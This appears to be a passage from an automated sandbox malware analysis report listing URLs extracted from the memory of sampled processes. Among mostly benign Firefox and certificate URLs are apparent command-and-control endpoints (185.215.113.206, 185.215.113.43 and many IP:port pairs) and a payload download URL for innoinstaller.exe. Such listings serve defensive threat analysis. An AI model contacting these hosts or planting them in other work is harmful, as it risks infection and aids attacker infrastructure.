Source: e90585a72a.exe, 00000011.00000002.2707046066.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: e90585a72a.exe, 00000011.00000002.2707046066.0000000001275000.00000004.00000020.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2707046066.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: e90585a72a.exe, 00000011.00000002.2707046066.0000000001275000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/T
Source: e90585a72a.exe, 00000011.00000002.2707046066.0000000001275000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/f
Source: e90585a72a.exe, 00000011.00000002.2707046066.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php:
Source: e90585a72a.exe, 00000011.00000002.2707046066.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpB
Source: e90585a72a.exe, 00000011.00000002.2707046066.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpa-7368302a1ad4
Source: e90585a72a.exe, 00000011.00000002.2707046066.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpr
Source: e90585a72a.exe, 00000011.00000002.2707046066.000000000120E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phps
Source: e90585a72a.exe, 00000011.00000002.2707046066.0000000001275000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/y
Source: skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/G
Source: skotes.exe, 00000008.00000002.2939032434.0000000001492000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2939032434.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2939032434.00000000014A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000008.00000002.2939032434.0000000001492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php6E
Source: skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpG
Source: skotes.exe, 00000008.00000002.2939032434.00000000014A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000008.00000002.2939032434.0000000001492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpxe
Source: skotes.exe, 00000008.00000002.2939032434.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/a
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.217.98.121:80
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.217.98.121:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.164.198.113:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.78.55.47:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://206.166.251.4:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://209.38.221.184:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.207.174.88:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.60.191.38:80
Source: skotes.exe, 00000008.00000002.2939032434.000000000143D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.183.61/innoinstaller.exe
Source: skotes.exe, 00000008.00000002.2939032434.000000000143D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.183.61/innoinstaller.exe7e3d4ed
Source: InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.216.183.9:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.87.207.180:9090
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.235.26.83:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.96.78.224:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.159.4.50:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://65.49.205.24:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://67.230.176.97:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.216.92.21:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.219.110.16:9999
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://8.222.143.111:8080
Source: firefox.exe, 0000001F.00000002.3053805269.000001B33D1C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001F.00000002.3053805269.000001B33D1C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001F.00000002.3053805269.000001B33D1C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001F.00000002.3053805269.000001B33D1C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.1754306094.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2639425525.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1754306094.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2639425525.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ccsca2021.crl.certum.pl/ccsca2021.crl0s
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ccsca2021.ocsp-certum.com05
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certum.pl/ctsca2021.crl0o
Source: file.exe, 00000000.00000003.1754306094.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2639425525.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1754306094.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2639425525.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1754306094.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2639425525.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1754306094.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2639425525.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1754306094.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2639425525.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001F.00000002.3097336698.000001B33E9DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001F.00000002.3117551621.000001B33F943000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3117551621.000001B33F937000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997292239.000001B33A03B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997292239.000001B33A03B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001F.00000002.2960711583.000001B337D5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 0000001F.00000002.2960711583.000001B337D5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001F.00000003.2888269525.000001B344408000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2915275023.000001B33C6EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2922866177.000001B33D053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2930131989.000001B33FCE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2896470004.000001B33EA26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2896470004.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3103368704.000001B33EEF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3148422316.000001B34437C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2802867292.000001B33C6EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2897530483.000001B33E9F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3148422316.000001B3443E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3150693552.000001B344407000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2802867292.000001B33C6D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2879991899.000001B33D050000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3046727117.000001B33D053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3103368704.000001B33EE49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2915918758.000001B33C208000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3150693552.000001B344413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2915792220.000001B33C6D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3040142246.000001B33C6ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000000.2457760259.00000000002C2000.00000002.00000001.01000000.0000000D.sdmp, innoinstaller.exe, 00000009.00000000.2457952683.00000000003FE000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://nsis.sf.net/License
Source: innoinstaller.exe, 00000009.00000000.2457760259.00000000002C2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://nsis.sf.net/License)
Source: file.exe, 00000000.00000003.1754306094.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2639425525.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1754306094.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2639425525.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001F.00000002.3076455543.000001B33E5E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001F.00000002.3148422316.000001B3443EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001F.00000002.3148422316.000001B3443EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3076455543.000001B33E5E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ccsca2021.cer0
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca2.cer09
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.certum.pl/ctsca2021.cer0A
Source: InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.000000000286A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002BD2000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.000000000286A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://subca.ocsp-certum.com01
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://subca.ocsp-certum.com02
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://subca.ocsp-certum.com05
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.certum.pl/CPS0
Source: firefox.exe, 0000001F.00000002.3053805269.000001B33D1C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2911466519.000001B33E7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3084413359.000001B33E7B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2911175459.000001B33E7E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001F.00000002.3084413359.000001B33E7B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000001F.00000003.2911175459.000001B33E7E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulP
Source: file.exe, 00000000.00000003.1754306094.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2639425525.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3117551621.000001B33F916000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3148422316.000001B3443EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1754306094.00000000056BA000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2639425525.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3117551621.000001B33F916000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3148422316.000001B3443EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://138.2.92.67:443
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://154.9.207.142:443
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://185.217.98.121:443
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://192.99.196.191:443
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://5.196.181.135:443
Source: firefox.exe, 0000001F.00000002.2971568555.000001B338410000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000003.2780499937.000001B33C223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001F.00000003.2896470004.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3101337060.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001F.00000002.3148422316.000001B344389000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: 384a543dd0.exe, 00000012.00000002.2800193872.0000000001560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwdsoft.wi
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A090000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgnetwork.proxy.backup.socks_portbookmarksToolbarWasVisibleshowBadgeOnlyNoti
Source: firefox.exe, 0000001F.00000002.3017681976.000001B33BF2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgp
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E357000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E32D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001F.00000002.2972694686.000001B3387DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
